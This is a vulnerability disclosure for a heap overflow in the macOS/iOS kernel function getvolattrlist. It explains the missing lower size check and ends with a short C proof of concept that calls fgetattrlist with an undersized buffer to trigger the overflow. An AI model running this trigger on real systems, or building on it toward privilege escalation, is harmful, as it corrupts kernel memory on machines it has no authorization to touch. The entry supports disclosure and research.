Apple macOS/iOS Kernel - Heap Overflow Due to Lack of Lower Size Check in getvolattrlist

/*
getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.

When allocating a kernel buffer to serialize the attr list to there's the following comment:

  /*
   * Allocate a target buffer for attribute results.
   * Note that since we won't ever copy out more than the caller requested,
   * we never need to allocate more than they offer.
   */
  ab.allocated = ulmin(bufferSize, fixedsize + varsize);
  if (ab.allocated > ATTR_MAX_BUFFER) {
    error = ENOMEM;
    VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
    goto out;
  }
  MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);

The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:

  /* Return attribute set output if requested. */
  if (return_valid) {
    ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
    if (pack_invalid) {
      /* Only report the attributes that are valid */
      ab.actual.commonattr &= ab.valid.commonattr;
      ab.actual.volattr &= ab.valid.volattr;
    }
    bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
  }

There's no check that the allocated buffer is big enough to hold at least that.

Tested on MacOS 10.13.4 (17E199)
*/

// ianbeer
#if 0
MacOS/iOS kernel heap overflow due to lack of lower size check in getvolattrlist

getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.

When allocating a kernel buffer to serialize the attr list to there's the following comment:

	/*
	 * Allocate a target buffer for attribute results.
	 * Note that since we won't ever copy out more than the caller requested,
	 * we never need to allocate more than they offer.
	 */
	ab.allocated = ulmin(bufferSize, fixedsize + varsize);
	if (ab.allocated > ATTR_MAX_BUFFER) {
		error = ENOMEM;
		VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
		goto out;
	}
	MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);

The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:

	/* Return attribute set output if requested. */
	if (return_valid) {
		ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
		if (pack_invalid) {
			/* Only report the attributes that are valid */
			ab.actual.commonattr &= ab.valid.commonattr;
			ab.actual.volattr &= ab.valid.volattr;
		}
		bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
	}

There's no check that the allocated buffer is big enough to hold at least that.

Tested on MacOS 10.13.4 (17E199)

#endif

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/attr.h>

int main() {
  int fd = open("/", O_RDONLY);
  if (fd == -1) {
    perror("unable to open fs root\n");
    return 0;
  }

  struct attrlist al = {0};

  al.bitmapcount = ATTR_BIT_MAP_COUNT;
  al.volattr = 0xfff;
  al.commonattr = ATTR_CMN_RETURNED_ATTRS;

  size_t attrBufSize = 16;
  void* attrBuf = malloc(attrBufSize);
  int options = 0;

  int err = fgetattrlist(fd, &al, attrBuf, attrBufSize, options);
  printf("err: %d\n", err);
  return 0;
}